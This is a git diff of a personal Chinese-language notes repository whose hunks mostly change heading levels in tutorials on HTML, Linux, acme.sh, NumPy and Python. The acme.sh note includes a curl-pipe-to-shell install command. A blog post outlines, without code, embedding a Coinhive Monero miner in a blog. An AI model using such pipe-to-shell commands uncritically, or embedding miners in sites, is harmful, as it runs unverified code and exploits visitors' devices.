标题 &lt;h1&gt; - &lt;h6&gt;共六级<br/> 段落 &lt;p&gt; 标签<br/> 链接 &lt;a&gt; 标签href属性指定链接的地址<br/> &lt;body&gt; 元素定义了 HTML 文档的主体,&lt;html&gt; 元素定义了整个 HTML 文档。`&lt;a href="http://www.w3school.com.cn"&gt;This is a link&lt;/a&gt;`<br/> 图像&lt;**img**&gt;标签 包含一些指定图像目录,大小。`&lt;img src="w3school.jpg" width="104" height="142" /img&gt;`
## 4.元素
### 4.元素
基本元素语法:
@ -55,7 +55,7 @@ HTML 元素以开始标签起始<br/> HTML 元素以结束标签终止<br/> 元
没有内容的 HTML 元素被称为空元素,空元素是在开始标签中关闭的(无关闭标签),&lt;br&gt; 就是没有关闭标签的空元素(&lt;br&gt; 标签定义换行),单但我们最好用&lt;**br /**&gt;。**HTML标签对大小写不敏感**。
## 5.属性(加引号)
### 5.属性(加引号)
[完整的HTML参考手册](http://www.w3school.com.cn/tags/index.asp)、[HTML标准属性参考手册](http://www.w3school.com.cn/tags/html_ref_standardattributes.asp)<br/> 标题居中`h1 align="center"&gt;This is heading 1&lt;/h1&gt; #弃用`<br/> 背景颜色`&lt;body bgcolor="yellow"&gt; #弃用`<br/> 表格&lt;table&gt;标签`&lt;table border="1"&gt; #拥有关于表格边框的附加信息`<br/> 属性值本身就含有双引号,那么你必须使用单引号`name='Bill "helloworld" Gates'`<br/> 常用HTML属性
@ -66,11 +66,11 @@ HTML 元素以开始标签起始<br/> HTML 元素以结束标签终止<br/> 元
| style| style_defination| 规定元素的行内样式(inline style)
| title| text| 规定元素的额外信息(可在工具提示中显示)
## 6.标题 &lt;h1&gt;
### 6.标题 &lt;h1&gt;
浏览器会自动地在标题的前后添加空行默认情况下HTML 会自动地在块级元素前后添加一个额外的空行,比如段落、标题元素前后。<br/> 水平线:&lt;hr /&gt; 标签在 HTML 页面中创建水平线。<br/> 注释:`&lt;!-- This is a comment --&gt;`<br/> 当显示页面时浏览器会移除源代码中多余的空格和空行。所有连续的空格或空行都会被算作一个空格。需要注意的是HTML 代码中的所有连续的空行(换行)也被显示为一个空格。
## 7.样式
### 7.样式
[style属性](http://www.w3school.com.cn/tiy/t.asp?f=html_styles):提供了一种改变所有HTML元素的样式的通用方法淘汰了”旧的“bgcolor属性([CSS教程](http://www.w3school.com.cn/css/index.asp))<br/> 应该**避免使用下面这些标签的属性**

View File

@ -3,7 +3,7 @@
# HTML语言笔记
## 8.文本格式化
### 8.文本格式化
&lt;pre&gt;标签:预格式文本,它保留了空格和换行。<br/> &lt;b&gt;标签:粗体<br/> &lt;code&gt;&lt;kbd&gt;&lt;tt&gt;&lt;samp&gt;&lt;var&gt;常用于计算机/编程<br/> title属性缩写和首字母缩写
<li> &lt;acronym title="World Wide Web"&gt;WWW&lt;/acronym&gt; 
@ -14,7 +14,7 @@
改变文字方向:`&lt;bdo dir="rtl"&gt;Here is some Hebrew text&lt;/bdo&gt;`
### 8.1 块引用:
#### 8.1 块引用:
<li> &lt;blockquote&gt;长引用&lt;/blockquote&gt; #浏览器会插入换行和外边距 
<hr/> </li><li> &lt;q&gt;短引用&lt;/q&gt; #浏览器不会有任何特殊的呈现 
<hr/> </li>
@ -27,7 +27,7 @@
### 8.2 文本格式化标签:
#### 8.2 文本格式化标签:
| 标签| 描述
|------
@ -45,7 +45,7 @@
| [&lt;strike&gt;](http://www.w3school.com.cn/tags/tag_strike.asp)| 弃用。使用&lt;del&gt;代替
| [&lt;u&gt;](http://www.w3school.com.cn/tags/tag_u.asp)| 弃用。使用样式style代替
### 8.3 计算机输出
#### 8.3 计算机输出
| 标签| 描述
|------
@ -59,7 +59,7 @@
| &lt;plaintext&gt;| 弃用,使用&lt;pre&gt;代替
| &lt;xmp&gt;| 弃用,使用&lt;pre&gt;代替
### 8.4 引用、引用和术语定义**
#### 8.4 引用、引用和术语定义**
| 标签| 描述
|------
@ -72,11 +72,11 @@
| [&lt;cite&gt;](http://www.w3school.com.cn/tags/tag_phrase_elements.asp)| 定义著作标题,常以斜体表示
| [&lt;dfn&gt;](http://www.w3school.com.cn/tags/tag_phrase_elements.asp)| 定义一个项目定义
### 8.5 CSS样式
#### 8.5 CSS样式
**插入样式表**
#### 8.5.1 外部样式表
##### 8.5.1 外部样式表
当页面具有普遍性,能应用与多个页面时用外部样式表,通过更改一个文件来改变整个站点的外观
<li> &lt;head&gt; 
@ -86,7 +86,7 @@
---
#### 8.5.2 内部样式表
##### 8.5.2 内部样式表
当单个文件需要特别样式时就可以使用内部样式表即在head部分通过&lt;style&gt;标签定义内部样式表。
<li> &lt;head&gt; 
@ -106,7 +106,7 @@
---
#### 8.5.3 内联样式
##### 8.5.3 内联样式
当特殊的样式需要用到个别元素时用到,方法即在相关标签中使用样式属性,样式属性可以包含任何<ins> [CSS](http://www.w3school.com.cn/css/index.asp) </ins>属性。
<li> &lt;!-- 以下实例显示出如何改变段落的颜色和左外边距 --&gt; 
@ -130,11 +130,11 @@
| [&lt;basefont&gt;](http://www.w3school.com.cn/tags/tag_basefont.asp)| 定义基准字体(弃用)
| [&lt;center&gt;](http://www.w3school.com.cn/tags/tag_center.asp)| 对文本进行水平居中(弃用)
### 8.6 链接
#### 8.6 链接
**&lt;a&gt;标签使用:**
#### 8.6.1 通过使用 href 属性 - 创建指向另一个文档的链接
##### 8.6.1 通过使用 href 属性 - 创建指向另一个文档的链接
<li> &lt;!-- 文字超链接 --&gt; 
<hr/> </li><li> &lt;a href="http://www.microsoft.com/"&gt;本文本&lt;/a&gt;  
<hr/> </li><li>  
@ -152,7 +152,7 @@
---
#### 8.6.2 通过使用 name 属性 - 创建文档内的书签
##### 8.6.2 通过使用 name 属性 - 创建文档内的书签
**name**属性规定锚anchor的名称利用name属性可以**创建HTML页面中的书签**。当使用**命名锚**named anchors我们可以创建直接跳至该命名锚比如页面中某个小节的链接。
<li> &lt;!-- 锚,显示在页面上的文本 --&gt; 
@ -184,7 +184,7 @@
---
#### 8.6.3 target属性
##### 8.6.3 target属性
定义被链接的文档在何处显示_blank是在新窗口打开文档_top是跳出框架直接进入文档
<li> &lt;!-- 在新窗口中打开文档 --&gt; 
@ -209,7 +209,7 @@
---
### 8.7 图像
#### 8.7 图像
图像标签&lt;img&gt;和源属性&lt;Src&gt;,其中&lt;img&gt;是空标签`&lt;img src="url" /&gt;`,即没有闭合标签。
@ -267,11 +267,11 @@
---
### 8.8 表格
#### 8.8 表格
每个表格由**table**标签开始,表格行由**tr**标签开始,表格数据由**td**标签开始,表头以**th**标签开始,表题以**caption**标签开始。
#### 8.8.1 示例
##### 8.8.1 示例
**示例1**
<li> &lt;table border="1"&gt; 
@ -340,7 +340,7 @@ border是边框属性不定义的话不显示边框<br/> 带有普通的边
&lt;td&gt; &lt;/td&gt;,有些浏览器不会显示空格单元边框,为避免这种情况,最好加入一个空格占位符`&amp;nbsp;`
#### 8.8.2 表格标签
##### 8.8.2 表格标签
| 表格| 描述
|------
@ -355,7 +355,7 @@ border是边框属性不定义的话不显示边框<br/> 带有普通的边
| [&lt;col&gt;](http://www.w3school.com.cn/tags/tag_col.asp)| 定义用于表格列的属性
| [&lt;colgroup&gt;](http://www.w3school.com.cn/tags/tag_colgroup.asp)| 定义表格列的组
#### 8.8.3 杂项:
##### 8.8.3 杂项:
>
表格标题:&lt;caption&gt;标签<br/> 横跨两列的单元格: colspan属性`&lt;th colspan="2"&gt;电话&lt;/th&gt;`<br/> 横跨两行的单元格: rowspan属性`&lt;th rowspan="2"&gt;电话&lt;/th&gt;`<br/> [表格内标签](http://www.w3school.com.cn/tiy/t.asp?f=html_table_elements)<br/> 单元格边距cellpadding属性`&lt;table border="1" cellpadding="10"&gt;`<br/> 单元格间距cellspacing属性`&lt;table border="1" cellspacing="10"&gt;`<br/> 向表格添加背景颜色:`&lt;table border="1" bgcolor="red"&gt;`<br/> 向表格添加背景图像:`&lt;table border="1" background="/i/eg_bg_07.gif"&gt;`<br/> 向表格单元添加背景颜色:`&lt;td bgcolor="red"&gt;First&lt;/td&gt;`<br/> 向表格单元添加背景图像`&lt;td background="/i/eg_bg_07.gif"&gt; Second&lt;/td&gt;`<br/> [表格align属性](http://www.w3school.com.cn/tiy/t.asp?f=html_table_align)<br/> [框架(fram)属性](http://www.w3school.com.cn/tiy/t.asp?f=html_table_frame):`&lt;table frame="above"&gt;`

View File

@ -3,49 +3,4 @@
# Jekyll 博客 Netlify CMS 后台部署
### 文章目录
## 获取`Client ID`和`Secret`
在 [Github OAuth](https://github.com/settings/developers) 页面新建一个 `app` 获取 `Client ID`和`Secret`
其中`Authorization callback URL`必须填这个:[https://api.netlify.com/auth/done](https://api.netlify.com/auth/done) ,其余随意。
## 去`netlify` 后台绑定 `GitHub``repositorie`
绑定成功是这个样子的:
这个时候出现的错误暂时不要管。
`setting-&gt;Domain management` ,添加`github`自带的二级域名,如果在`github`上面自定义了域名,也要加上,不要管 `DNS` 验证.
## 在GitHub新建netlify分支
内容可以参考我的 [netlify](https://github.com/ds19991999/ds19991999.github.io/tree/netlify) 分支,其中 `config.yml`文件里的域名改成你的`github` 二级域名,如果自定义了域名请填自定义的域名
## 在主分支`master`创建`admin`文件夹
```
admin
├ index.html
└ config.yml
```
我的就是:[admin](https://github.com/ds19991999/ds19991999.github.io/tree/master/admin)
## 配置`admin`里的`config`
我这个`jekyll`只用到发布文章的`post`,所以后台也只需要这个简单的功能,只需要加一点这个文章头部的选项,每个人不一样,需要自己写。官方文档可以参考:[netlifycms-docs](https://www.netlifycms.org/docs/intro/)<img alt="1552916047947"/>
到这里,`GitHub`仓库的修改基本上完成了。
## 去 netlify 后台配置编译
`setting-&gt;Buil &amp; deploy-&gt;Deploy contexts`,将`Production branch`改成`netlify`分支,将`Branch deploys`改成`master`分支。
然后就可以编译了:
## 登录博客后台
进入 `https://网站域名/admin` 后台登陆,大概就是这样子。
#### 文章目录

View File

@ -7,7 +7,7 @@
文末附源码地址哦! <br/> 注意:本文不是教程!
## 起因
### 起因
这两天不知道为什么突然沉迷Hexo博客的Next主题Next主题确实太赞了十分清爽简洁自身集成了许多小插件基本上满足了大部分博客的一般需求。所以我索性把之前那个也还不错的博客 `simple` 给抛弃了。
@ -17,7 +17,7 @@
最终选择[Jekyll-Next-Theme](https://github.com/Simpleyyt/jekyll-theme-next),你可以去[这里](https://github.com/Simpleyyt/jekyll-theme-next)直接`clone` , 然后你就可以有一套和我一样的博客主题了。
## 基本功能展示
### 基本功能展示
**整体面貌** <br/> <img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo/20180808212432.jpg" title=""/>
@ -31,11 +31,11 @@
小功能实在太多,不如直接访问:[https://www.ds-vip.top](https://www.ds-vip.top) 感受一下。
## 博客搭建
### 博客搭建
关于博客搭建这一块自行 `Google` 网上教程多如牛毛千篇一律再写就没意思了。不过这里推荐两篇基于Hexo的Next主题配置教程可以参考一下。
## 博客配置完成后的坑
### 博客配置完成后的坑
搭建一个博客还是很简单的配置虽然麻烦但一步步的还是可以实现的。博客搭建完成后就是域名绑定ICP备案以及网站推广。
@ -51,11 +51,11 @@
---
## 为博客嵌入挖矿代码
### 为博客嵌入挖矿代码
先看效果图: <br/> <img alt="这里写图片描述" src="https://img-blog.csdn.net/20180816203048860?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RzMTk5OTE5OTk=/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70" title=""/>
1. 安装并注册monero账号1. 注册Coinhive账号1. 在Coinhive中得到site key1. 安装代码到html中
### 样式
#### 样式
**官网样式:**
@ -125,7 +125,7 @@
详见:[https://www.ds-vip.top/test/2018/08/11/test/](https://www.ds-vip.top/test/2018/08/11/test/)
## 附上源码和个人博客
### 附上源码和个人博客
>
配置文件 [_config.yml](https://github.com/ds19991999/ds19991999.github.io/blob/master/_config.yml) 可以慢慢看,毕竟太多了,这也是我为什么不做笔记,不写教程的原因。

View File

@ -3,9 +3,9 @@
# Jupyterlab安装
# Jupyter小结
## Jupyter小结
### 安装JupyterLab
#### 安装JupyterLab
使用`pip`安装:
@ -54,7 +54,7 @@ pip install --upgrade jupyterthemes0
```
### 常用命令
#### 常用命令
```
######################## magic命令 ##########################
@ -110,6 +110,6 @@ for line in locals()["In"]:
```
### Jupyter的各种快捷键
#### Jupyter的各种快捷键
一下都是退出编辑模式的命令:

View File

@ -17,7 +17,7 @@ typedef struct
}Str;
```
# 一、简单模式匹配
## 一、简单模式匹配
```
//指向原串的索引i需要回溯从原串中的每一个字符重新进行匹配直到匹配成功
@ -37,9 +37,9 @@ int index(Str str,Str substr)
}
```
# 二、KMP算法
## 二、KMP算法
## 1.思路
### 1.思路
>
- 主体思路: <br/> 1i 不用进行回溯当原串和模式串不发生匹配时先找出模式串中的不匹配字符pj取其模式串的子串F=p1p2p3…pj-1找出F的前部分FL和后部分FR最先发生相重合的位置将模式串后移到该位置即j重新指向的位置是F串中前后重合的子串长度加1 <br/> 2) 我们可以定义一个next[j]数组表示模式串中第j个字符不发生匹配时应该从next[j]处的字符重新与原串比较。- 特殊情况: <br/> 1模式串的第一个字符与原串就不匹配则从原串的下一个位置同模式串进行匹配 <br/> 2当串F中不存在前后重合的部分则从原串中不发生匹配的字符同模式串的第一个字符开始比较- 求next[j]数组例子
@ -58,7 +58,7 @@ if(pj=pt)next[j+1]=t+1;
else t=next[t];
```
# 2.next[ j ]数组代码实现
## 2.next[ j ]数组代码实现
```
void getnext(Str substr, int next[])
@ -77,7 +77,7 @@ void getnext(Str substr, int next[])
}
```
# 3.著名的KMP算法
## 3.著名的KMP算法
```
int KMP(Str str, Str substr, int next[])
@ -96,7 +96,7 @@ int KMP(Str str, Str substr, int next[])
}
```
# 三、上述KMP算法的改进
## 三、上述KMP算法的改进
>
上述KMP算法在一种特殊情况下有些匹配显得有些多余 <br/> 例如下面这个next数组:
@ -151,7 +151,7 @@ void getenextval(Str substr, int nextval[])
}
```
# 四、最完整的KMP算法实现
## 四、最完整的KMP算法实现
```
typedef struct

View File

@ -9,9 +9,9 @@ github: [https://github.com/Neilpang/acme.sh](https://github.com/Neilpang/acme.s
通过acme申请Lets Encrypt证书支持的域名DNS服务商有以下这些国内用户较多的`cloudxns、dnspod、aliyun阿里云、cloudflare、linode、he、digitalocean、namesilo、aws、namecom、freedns、godaddy、yandex` 等等。
### 目录
#### 目录
## [安装acm.sh](http://xn--acm-pd0fq01r.sh)
### [安装acm.sh](http://xn--acm-pd0fq01r.sh)
```
curl https://get.acme.sh | sh
@ -22,7 +22,7 @@ curl https://get.acme.sh | sh
通过`acme.sh`安装的证书会自动为你创建 `cronjob`, 每天 0:00 点自动检测所有的证书, 如果快过期了, 需要更新, 则会自动更新证书.
## DNS方式验证域名所有权
### DNS方式验证域名所有权
```
acme.sh --issue --dns -d mydomain.com
@ -31,7 +31,7 @@ acme.sh --issue --dns -d mydomain.com
`acme.sh` 会生成相应的解析记录显示出来, 你只需要在你的域名管理面板中添加这条 `txt` 记录即可.
## 获取`DNS API`
### 获取`DNS API`
获取`DNS`域名商的`DNS API` `api` 也会将 上面的`txt` 记录自动添加到域名解析商。比喻阿里的`api`[https://ak-console.aliyun.com/#/accesskey](https://ak-console.aliyun.com/#/accesskey) ,然后看说明进行配置 [https://github.com/Neilpang/acme.sh/tree/master/dnsapi](https://github.com/Neilpang/acme.sh/tree/master/dnsapi) 阿里的就是:
@ -44,7 +44,7 @@ acme.sh --issue --dns dns_ali -d example.com -d *.example.com
这个`*`值的就是泛域名。运行一次之后Ali_Key和Ali_Secret将被保存`~/.acme.sh/account.conf`生成的SSL证书目录在`~/.acme.sh/example.com`
## 安装证书
### 安装证书
>
详见:[copy/安装 证书](https://github.com/Neilpang/acme.sh/wiki/%E8%AF%B4%E6%98%8E#3-copy%E5%AE%89%E8%A3%85-%E8%AF%81%E4%B9%A6)
@ -62,7 +62,7 @@ acme.sh --installcert -d &lt;domain&gt;.com \
宝塔用户在SSL选项选择其他证书把SSL证书内容粘贴上面去就行了<br/> <img alt="" src="http://image.creat.kim/picgo/20190314132922.png"/><br/> 这里改一下证书路径<br/> <img alt="" src="http://image.creat.kim/picgo/20190314132617.png"/><br/> 目前证书在 60 天以后会自动更新, 你无需任何操作. 今后有可能会缩短这个时间, 不过都是自动的, 你不用关心.
## 更新 `acme.sh`
### 更新 `acme.sh`
自动更新:`acme.sh --upgrade --auto-upgrade`<br/> 关闭更新:`acme.sh --upgrade --auto-upgrade 0`

View File

@ -5,14 +5,14 @@
详见:[https://gitbook.creat.com/Linux](https://gitbook.creat.com/Linux)
## 编译程序
### 编译程序
```
make - 维护程序的工具
```
### 构建程序
#### 构建程序
大多数程序通过一个简单的,两个命令的序列构建:
@ -24,7 +24,7 @@ make
这个 configure 程序是一个 shell 脚本,由源码树提供.它的工作是分析程序构建环境。大多数源码会设计为可移植的。configure 命令会创建了几个新文件。最重要一个是 Makefile。Makefile 是一个配置文件, 指示 make 程序究竟如何构建程序。make 程序把一个 makefile 文件作为输入(通常命名为 Makefilemakefile 文件 描述了包括最终完成的程序的各组件之间的关系和依赖性。
### 安装程序
#### 安装程序
```
sudo make install

View File

@ -3,11 +3,11 @@
# Linux面试题
## 第一部分
### 第一部分
## 第二部分
### 第二部分
## 第三部分
### 第三部分
```
# 开机自动挂载

View File

@ -3,9 +3,9 @@
# Liunx常见任务和基本工具(上篇)
### 文章目录
#### 文章目录
## 一、软件包管理
### 一、软件包管理
**主要的包管理系统家族:**
@ -93,7 +93,7 @@
|Debian|dpkg --search file_name
|Red Hat|rpm -qf file_name
## 二、存储媒介
### 二、存储媒介
```
mount 挂载一个文件系统
@ -109,7 +109,7 @@ md5sum 计算 MD5检验码
```
### 挂载和卸载存储设备
#### 挂载和卸载存储设备
管理存储设备的第一步是把设备连接到文件系统树中,即挂载。有一个叫做`/etc/fstab`的文件可以列出系统启动时要挂载的设备(典型地,硬盘分区)。
@ -133,7 +133,7 @@ LABEL=/boot /boot ext3 defaults 1 2
|5|频率|一位数字,指定是否和在什么时间用 dump 命令来备份一个文件系统。
|6|次序|一位数字,指定 fsck 命令按照什么次序来检查文件系统。
### 查看挂载的文件系统列表
#### 查看挂载的文件系统列表
```
# mount 命令被用来挂载文件系统
@ -169,7 +169,7 @@ umount /dev/hdc
tips打印机缓存是一个包含一些 RAM 内存 的设备,位于计算机和打印机之间。通过打印机缓存,计算机把要打印的结果发送到这个缓存区, 数据会迅速地存储到这个 RAM 中,这样计算机就能回去工作,而不用等待。与此同时,打印机缓存将会 以打印机可接受的速度把缓存中的数据缓慢地输出给打印机。
### 确定设备名称
#### 确定设备名称
```
# 列出目录/dev所有设备的住所
@ -192,7 +192,7 @@ btrfs-control kmsg sda11 tty24 tty58 ttyS4
|/dev/sd*|SCSI 磁盘。在最近的 Linux 系统中,内核把所有类似于磁盘的设备(包括 PATA/SATA 硬盘, 闪存,和 USB 存储设备,比如说可移动的音乐播放器和数码相机)看作 SCSI 磁盘。 剩下的命名系统类似于上述所描述的旧的/dev/hd*命名方案。
|/dev/sr*|光盘CD/DVD 读取器和烧写器)
### 创建新的文件系统
#### 创建新的文件系统
假设我们使用一个16MB 闪存备,名称是/dev/sdb 指整个设备,/dev/sdb1是这个设备的第一分区fdisk 命令操作分区:
@ -206,7 +206,7 @@ sudo mkfs -t vfat /dev/sdb1
```
### 测试和修复文件系统
#### 测试和修复文件系统
```
# 检查我们的闪存驱动器
@ -214,7 +214,7 @@ sudo fsck /dev/sdb1
```
### 格式化软盘
#### 格式化软盘
使用 fdformat 程序,同时指定软盘设备名称(通常为/dev/fd0
@ -225,7 +225,7 @@ sudo mkfs -t msdos /dev/fd0
```
### 直接把数据移入/出设备
#### 直接把数据移入/出设备
dd 程序把磁盘驱动器简单地看成一个数据块大集合,可以克隆设备:
@ -243,7 +243,7 @@ dd if=/dev/sdb of=flash_drive.img
```
### 创建 CD-ROM 映像
#### 创建 CD-ROM 映像
```
# 适用于 DVD 光盘, 对于音频 CD看一下 cdrdao 命令
@ -288,7 +288,7 @@ md5sum dvd-image.iso; dd if=/dev/dvd bs=2048 count=$(( $(stat -c "%s" dvd-image.
```
## 三、网络系统
### 三、网络系统
```
ping - 发送 ICMP ECHO_REQUEST 数据包到网络主机
@ -300,7 +300,7 @@ ssh - OpenSSH SSH 客户端(远程登录程序)
```
### 检查和监测网络
#### 检查和监测网络
```
alien@localhost:~ $ traceroute slashdot.org
@ -333,7 +333,7 @@ enp7s0 Link encap:以太网 硬件地址 74:e6:e2:41:f6:62
其中`enp7s0`是一个网络接口,`lo`是内部回环网络接口,它是一个虚拟接口,系统用它来自言自语。
### 网络中传输文件
#### 网络中传输文件
**ftp**
@ -355,7 +355,7 @@ enp7s0 Link encap:以太网 硬件地址 74:e6:e2:41:f6:62
不只能下载单个文件,多个文件,甚至整个网站都能下载,这个程序的许多选项允许 wget 递归地下载,在后台下载文件(你退出后仍在下载),能完成未下载 全的文件。
### 与远程主机安全通信
#### 与远程主机安全通信
**ssh**Secure Shell它要认证远端主机是否为它 所知道的那台主机(这样就阻止了所谓的“中间人”的攻击),其次,它加密了本地与远程主机之间 所有的通讯信息。
@ -375,7 +375,7 @@ scp bob@remote-sys:./document.txt ./
sftp:任何一台能用 SSH 客户端连接的远端机器,也可当作类似于 FTP 的服务器来使用.
## 四、查找文件
### 四、查找文件
```
locate 通过名字来查找文件
@ -386,9 +386,9 @@ stat 显示文件或文件系统状态
```
### locate - 查找文件的简单方法
#### locate - 查找文件的简单方法
### find - 查找文件的复杂方式
#### find - 查找文件的复杂方式
locate 程序只能依据文件名来查找文件,而 find 程序能基于各种各样的属性 搜索一个给定目录(以及它的子目录),来查找文件。
@ -481,7 +481,7 @@ find ~ \( -type f -not -perm 0600 \) -or \( -type d -not -perm 0700 \)
|真|-or|从不执行
|假|-or|总要执行
### 预定义的操作
#### 预定义的操作
find 命令允许基于搜索结果来执行操作
@ -501,7 +501,7 @@ find 命令允许基于搜索结果来执行操作
这里的 command 就是指一个命令的名字,{}是当前路径名的符号表示,分号是必要的分隔符 表明命令的结束。
### xargs
#### xargs
xargs 命令从标准输入接受输入,并把输入转换为一个特定命令的 参数列表。find 命令提供的 -print0 行为, 则会产生由 null 字符分离的输出,并且 xargs 命令有一个 null 选项,这个选项会接受由 null 字符 分离的输入。这里有一个例子:

View File

@ -3,9 +3,9 @@
# Liunx常见任务和基本工具(下篇)
### 文章目录
#### 文章目录
## 五、归档和备份
### 五、归档和备份
```
# 压缩程序
@ -19,7 +19,7 @@ rsync 同步远端文件和目录
```
### 压缩文件
#### 压缩文件
压缩算法:无损压缩保留了 原始文件的所有数据;有损压缩,执行压缩操作时会删除数据,允许更大的压缩。**gzip/gunzip**
@ -80,7 +80,7 @@ alien@localhost:~ $ zless foo.txt.gz
如果你再次压缩已经压缩过的文件,实际上你 会得到一个更大的文件。这是因为所有的压缩技术都会涉及一些开销,文件中会被添加描述 此次压缩过程的信息。
### 归档文件
#### 归档文件
**tar:**扩展名为 .tar 或者 .tgz 的文件,它们各自表示“普通” 的 tar 包和被 gzip 程序压缩过的 tar 包
@ -206,7 +206,7 @@ alien@localhost:~ $ ls -l /etc/ | zip ls-etc.zip -
```
### 同步文件和目录
#### 同步文件和目录
通过使用 rsync 远端更新协议,此协议 允许 rsync 快速地检测两个目录的差异,执行最小量的复制来达到目录间的同步。
@ -223,7 +223,7 @@ rsync -av playground foo
```
### 在网络间使用 rsync 命令
#### 在网络间使用 rsync 命令
```
# 备份本地文件到远端
@ -233,9 +233,9 @@ rsync -av -delete rsync://rsync.gtlib.gatech.edu/fedora-linux-core/development/i
```
## 六、正则表达式
### 六、正则表达式
### grep
#### grep
`grep [options] regex [file...]`grep 程序会在文本文件中查找一个指定的正则表达式,并把匹配行输出到标准输出。
@ -284,7 +284,7 @@ major
```
### POSIX 字符集
#### POSIX 字符集
posix标准引入了”locale”概念它能针对不同地区选择合适的字符集。
@ -304,7 +304,7 @@ posix标准引入了”locale”概念它能针对不同地区选择合适的
|[:upper:]|大写字母。
|[:xdigit:]|用来表示十六进制数字的字符。在 ASCII 中,等价于:[0-9A-Fa-f]
## 七、文本处理
### 七、文本处理
```
cat 连接文件并且打印到标准输出
@ -322,7 +322,7 @@ aspell 交互式拼写检查器
```
### 文本应用程序
#### 文本应用程序
```
cat &gt; foo.txt # 将输入cat重定向到foo.txt中按CTRL+D结束
@ -409,7 +409,7 @@ join distros-key-names.txt distros-key-vernums.txt | head
```
### 比较文本
#### 比较文本
**comm**
@ -555,7 +555,7 @@ aspell check textfile
split把文件分割成碎片 csplit基于上下文把文件分割成碎片和 sdiff并排合并文件差异
## 八、格式化输出
### 八、格式化输出
```
nl 添加行号
@ -567,7 +567,7 @@ groff 一个文件格式化系统
```
### 简单的格式化工具
#### 简单的格式化工具
nl - 添加行号:
@ -683,7 +683,7 @@ printf 转换可选规范组件
|abcdefghijk|“%5s”|abcedfghijk|用最小字段宽度格式化字符串。
|abcdefghijk|“%d”|abcde|对字符串应用精度,它被从中截断。
### 文件格式化系统
#### 文件格式化系统
groff一套用GNU实现 troff 的程序。它还包括一个脚本,用来模仿 nroff 和其他 roff 家族。linux手册页由 groff 渲染,使用 mandoc 宏包。

View File

@ -3,9 +3,9 @@
# Numpy学习——Numpy 简介
# Numpy 简介
## Numpy 简介
## 导入numpy
### 导入numpy
Numpy是Python的一个很重要的第三方库很多其他科学计算的第三方库都是以Numpy为基础建立的。
@ -36,7 +36,7 @@ Populating the interactive namespace from numpy and matplotlib
```
## 数组上的数学操作
### 数组上的数学操作
```
a = [1, 2, 3, 4]
@ -103,7 +103,7 @@ array([ 1, 8, 81, 1024])
```
## 提取数组中的元素
### 提取数组中的元素
```
a[0]
@ -141,7 +141,7 @@ array([4, 6])
```
## 修改数组形状
### 修改数组形状
```
# 查看array的形状
@ -165,7 +165,7 @@ array([[1, 2],
```
## 多维数组
### 多维数组
```
a
@ -197,7 +197,7 @@ array([[ 1, 4],
```
## 画图
### 画图
**linspace** 用来生成一组等间隔的数据:
@ -241,7 +241,7 @@ plot(a, b)
```
## 从数组中选择元素
### 从数组中选择元素
```
b

View File

@ -3,4 +3,4 @@
# Numpy学习—— 数组及其索引
# 数组及其索引
## 数组及其索引

View File

@ -3,7 +3,7 @@
# Numpy学习——Matplotlib基础
# Matplotlib 基础
## Matplotlib 基础
Matplotlib是一个类似Matlab的工具包主要用来画图主页地址为[Matplotlib](https://matplotlib.org/)
@ -18,7 +18,7 @@ Populating the interactive namespace from numpy and matplotlib
```
## plot 二维图
### plot 二维图
```
plot(y)
@ -90,7 +90,7 @@ plot(x,sin(x),'b-o',
```
## scatter散点图
### scatter散点图
```
scatter(x, y)
@ -135,7 +135,7 @@ colorbar()
```
## 多图
### 多图
```
# 使用figure()命令产生新的图像:
@ -169,7 +169,7 @@ plot(y)
```
## 向图中添加数据
### 向图中添加数据
```
# 默认多次 plot 会叠加:
@ -208,7 +208,7 @@ d:\python\lib\site-packages\ipykernel_launcher.py:6: MatplotlibDeprecationWarnin
```
## 标签
### 标签
```
# 可以在 plot 中加入 label ,使用 legend 加上图例:
@ -234,7 +234,7 @@ legend(['sin', 'cos'])
```
## 坐标轴,标题,网格
### 坐标轴,标题,网格
```
# 可以设置坐标轴的标签和标题:
@ -259,7 +259,7 @@ title('Sin(x)')
grid()
```
## 清除、关闭图像
### 清除、关闭图像
清除已有的图像使用:`clf()`
@ -267,7 +267,7 @@ grid()
关闭所有图像:`close('all')`
## imshow 显示图片
### imshow 显示图片
这里需要注意之前misc中的示例图片被删除了查看帮助文档发现换成了另一个名称
@ -583,11 +583,11 @@ imshow(img2, cmap=cm.tab20c_r)
```
## 从脚本中运行
### 从脚本中运行
在脚本中使用 plot 时,通常图像是不会直接显示的,需要增加 **show()** 选项,只有在遇到 show() 命令之后,图像才会显示。
## 直方图
### 直方图
```
# 从高斯分布随机生成1000个点得到的直方图
@ -648,7 +648,7 @@ ax.fill(x, y1, 'b', x, y2, 'r', alpha=0.3)
plt.show()
```
## 总结
### 总结
```
# 导入 matplotlib 和 numpy

View File

@ -3,15 +3,15 @@
# Python Tutorial 2.7.14总结
### 目录
#### 目录
## 编码风格
### 编码风格
[**PEP 8**](https://www.python.org/dev/peps/pep-0008) 引入了大多数项目遵循的风格指导,以下是比较实用的编码风格:
## 数据结构
### 数据结构
### 列表常用函数
#### 列表常用函数
<th align="center">对象方法</th><th align="left">描述</th>
|------
@ -41,7 +41,7 @@ deque(['Michael', 'Terry', 'Graham'])
```
### 函数式编程工具
#### 函数式编程工具
对于链表: [filter()](https://docs.python.org/2.7/library/functions.html#filter)[map()](https://docs.python.org/2.7/library/functions.html#map) 以及 [reduce()](https://docs.python.org/2.7/library/functions.html#reduce)
@ -76,11 +76,11 @@ squares = [x**2 for x in range(10)]
```
### 元组和序列
#### 元组和序列
元组不可变`&gt;&gt;&gt; singleton = 'hello', # &lt;-- note trailing comma`
### 集合
#### 集合
集合是一个无序不重复元素的集,基本功能包括关系测试和消除重复元素
@ -94,7 +94,7 @@ set(['a', 'r', 'b', 'c', 'd'])
```
### 字典
#### 字典
创建字典:
@ -106,7 +106,7 @@ set(['a', 'r', 'b', 'c', 'd'])
```
### 循环技巧
#### 循环技巧
在**序列**中循环时,索引位置和对应值可以使用 [enumerate()](https://docs.python.org/2.7/library/functions.html#enumerate) 函数同时得到:
@ -147,9 +147,9 @@ robin the brave
```
## 模块
### 模块
### 包
####
包内引用:包中使用了子包结构,可以按绝对位置从相邻的包中引入子模块
@ -160,9 +160,9 @@ from ..filters import equalizer
```
## 输入与输出
### 输入与输出
### 格式化输出
#### 格式化输出
```
&gt;&gt;&gt; s = 'Hello, world.'
@ -187,9 +187,9 @@ The value of PI is approximately 3.142.
```
